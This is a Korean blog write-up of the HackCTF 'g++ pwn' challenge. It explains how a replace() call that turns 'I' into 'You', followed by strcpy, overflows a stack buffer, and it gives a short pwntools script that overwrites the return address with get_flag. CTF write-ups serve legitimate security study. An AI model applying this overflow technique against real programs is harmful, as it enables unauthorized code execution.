[HackCTF] g++ pwn 풀이

2021. 9. 30. 16:13·Write-Up/HackCTF
반응형

문제를 풀기 앞서 checksec먼저 해주었다.

NX bit만 걸려있는것을 볼 수 있다.

파일을 실행시키고 입력값을 아무거나 줬을때 그냥 입력값 그대로 출력되는 것을 볼 수있다.

바이너리 파일만 존재했기때문에 ida로 직접까봐야 겠다.

문제 이름이 (g++ pwn 이니 C++ 파일로 되어있지 않을까?)

 

main 함수
vuln 함수
get_flag 함수

 

vuln 함수를 보면

fgets로 &s를 32만큼만 받아서 RET값을 침범할수 없다.

하지만 replace 함수를 유심히 보면 I를 You로 바꾼다.

입력받는 s는 ebp-3ch(60) 에 위치한다.

replace 함수를 이용해바꾼 문자열을 strcpy 해주기 때문에 여기서 bof가 발생할거라는 추측을 할 수있다.

그렇다면 RET주소를 get_flag()로 돌려주고

나머지 64를 쓰레기 값들로 채워주면 flag를 얻을 수 있을것이다.

 

from pwn import *

p = remote("ctf.j0n9hyun.xyz", 3011)

pay = b'I'*20
pay += b'A'*4
pay += p32(0x08048f0d)

p.sendline(pay)
p.interactive()

 

반응형

'Write-Up > HackCTF' 카테고리의 다른 글

[HackCTF] Random Key 풀이  (0) 2021.10.06
[HackCTF] You are Silver 풀이  (0) 2021.10.06
[HackCTF] Yes or no  (0) 2021.05.17
[HackCTF] BOF_PIE  (0) 2021.05.17
[HackCTF] Offset  (0) 2021.05.16
'Write-Up/HackCTF' 카테고리의 다른 글
  • [HackCTF] Random Key 풀이
  • [HackCTF] You are Silver 풀이
  • [HackCTF] Yes or no
  • [HackCTF] BOF_PIE
Penguin Dev
Penguin Dev
What does the Penguin say?
    글쓰기 관리
  • Penguin Dev
    Pengha!
    Penguin Dev
  • 전체
    오늘
    어제
    • 분류 전체보기 (151) N
      • Java & Spring (3) N
      • System Hacking (4)
      • Algorithm (8)
        • Sorting algorithm (3)
      • Python (6)
      • DB (1)
      • Web (2)
        • Web Hacking & Security (2)
      • Write-Up (108)
        • pwnable.kr (17)
        • HackCTF (16)
        • 해커스쿨 FTZ (21)
        • LOB(lord of bufferoverflow) (19)
        • LOS (lord of sql injection) (28)
        • XSS-game (6)
        • Webhacking.kr (1)
      • SUA (19)
        • 오픈소스 보안 (19)
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    computeifpresent()
    spring boot
    hashmap vs concurrenthashmap
    tabat
    코딩테스트
    MAP
    ConcurrentHashMap
    Bubble Sort
    nop sled
    computeifabsent()
    코드트리
    computeifpresent
    putval()
    동시성
    spring
    AtomicLong
    computeifabsent
    LOB
    enumerate #list comprehension
    concurrenthashmap vs hashmap
    시스템해킹
    thread-safe
    Java
    코드트리조별과제
    DB정리
    CountDownLatch
    동시성처리
    selection sort
    sqlinjection
    lord of bufferoverflow
  • 최근 댓글

  • 반응형
  • hELLO· Designed By정상우.v4.10.3
Penguin Dev
[HackCTF] g++ pwn 풀이
상단으로

티스토리툴바